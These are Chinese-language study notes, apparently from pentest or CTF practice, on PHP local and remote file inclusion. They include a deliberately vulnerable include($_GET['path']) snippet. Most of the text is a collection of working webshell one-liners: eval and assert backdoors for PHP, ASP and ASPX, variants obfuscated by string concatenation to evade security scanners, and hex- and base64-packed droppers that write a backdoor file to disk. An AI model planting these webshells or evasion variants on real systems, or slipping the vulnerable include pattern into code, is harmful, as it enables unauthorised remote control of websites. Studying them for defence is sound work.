文件包含:
宗旨:将任何的php⽂件或者⾮php⽂件利⽤函数包含进php⽂件之后都会被当作php代码解析
PHP提供⼀些函数来进⾏各个⽂件之间的相互引⽤,并提供了⼀些协议⽤于读取或者写⼊⽂件
特殊文件包含:
最常见的:
include('flag.php') 包含 flag.php 文件
php代码执行的时候会写去访问flag.php,就好似把flag.php文件全部放在了当前文件,并
且执行包含后的这个文件==============>不仅包含也会执行
其他函数:
include、require、include_once、require_once、 |
highlight_file、show_source、file_get_contents、fopen、file、readfile |
include_once():功能与include相同,区别在于当重复调用同一文件时,程序只调用一次
require():require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
#各种语言文件包含
#ASP ASPX PHP JSP Python Javaweb
<c:import url="http://...">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php include ('test.php') ?>
分类:本地包含和远程包含
本地文件包含(LFI):可以读取与打开本地文件
远程文件包含(RFI)(HTTP,FTP,PHP伪协议):可以远程加载文件
php.ini文件:
本地:allow_url_fopen=On/Off
远程:allow_url_include=On/Off
<?php
if(isset($_GET['path'])){
include $_GET['path'];
}else{
echo "?path=info.php";
}
?>
本地:可通过相对路径方式找到文件
?path=info.php
远程:可通过http(s)或者ftp等方式远程加载文件
?path=http://......info.php
?path=ftp://......info.php
allow_url_fopen = On allow_url_include = On
本地文件包含:通过浏览器包含web服务器上的⽂件,这种漏洞是因为浏览器包含 ⽂件时没有进⾏严格的过滤允许遍历⽬录的字符注⼊浏览器并执⾏;仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
远程文件包含:就是允许攻击者包含⼀个远程的⽂件,⼀般是在远程服务器上预先设 置好的脚本。 此漏洞是因为浏览器对⽤户的输⼊没有进⾏检查,导致不同程度的信 息泄露、拒绝服务攻击 甚⾄在⽬标服务器上执⾏代码。能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。
?path=http://192.168.158.119/phpinfo.php
1.包含一句话木马:
将⼀句话写在⼀个⽂件中上传之后,在可以包含⽂件的php⻚⾯包含该⽂件,直接利⽤⼀句话
常见的一句话
eval:
- 用来执行任意php代码
- 用法:
<?php
eval($_POST[1]);
//1=system(ls);
?>
<?php @eval($_POST['attack']);?>
【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。
【入侵条件】:只要攻击者满足三个条件,就能实现成功入侵:
(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。
最常见的木马:
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
防爆破木马:
<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
x=myh0st
过狗一句话:
<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> //s=assert
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>//将敏感函数通过.链接防止被检测
例:
【这里explode函数把字符串poc按#分隔开并映到poc_1数组中去;
然后poc_2再把他们连接起来,总的来说就是把poc中的#去掉,变成一个新的字符串赋值给poc_2;
可以看出,poc_2是assert,然后我们来看最后一句话,它现在变成了一个函数,即:
assert($_GET['s'])
而assert函数功能跟eval类似,可以把里面的内容当作代码来执行,考虑扫描目录下的文件,构造payload:
?s=print_r(scandir('./'));可以把当前目录下的文件或者目录以数组的形式显示出来;
其中123.php、index.php、test.php都是用御剑扫描出来过并没有发现什么东西的,但是有一个十分可疑的f14g.txt,于是访问:得到flag:
】
不用?的一句话:
<script language="php">eval ($_POST[hihack]);</script>
不用eval的一句话:
<?php
assert($_POST[1]);
?>
//具体看web1中的执行PHP代码函数的讲解
变形一句话后门:
<!--?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H
*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?-->
pack:pack(string $format, mixed ...$values): string //将输入参数打包成 form
at 格式的二进制字符串。
6c6f7374776f6c662e706870//lostwolf.php
3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e//<?@eval($_POST[los
twolf])?>
<!--?php @fputs(fopen(base64_decode('bXloMHN0LnBocA=='),w),base64_decode
('PD9waHAgQGV2YWwoJF9QT1NUWydoaWhhY2snXSk7Pz4='));?-->
pack-----format代表的格式
format字符串由格式代码组成,后面跟着一个可选的重复参数。重复参数可以是一个整数值或者 *
值来重复到输入数据的末尾。对于 a, A, h, H 格式化代码,其后的重复参数指定了给定数据将会被使用几个字符串。对于 @,其后的数字表示放置剩余数据的绝对定位(之前的数据将会被空字符串填充),对于其他所有内容,重复数量指定消耗多少个数据参数并将其打包到生成的二进制字符串中。
灭杀一句话:
<!--?php $x="as"."se"."rt";$x($_POST["pass"]);?-->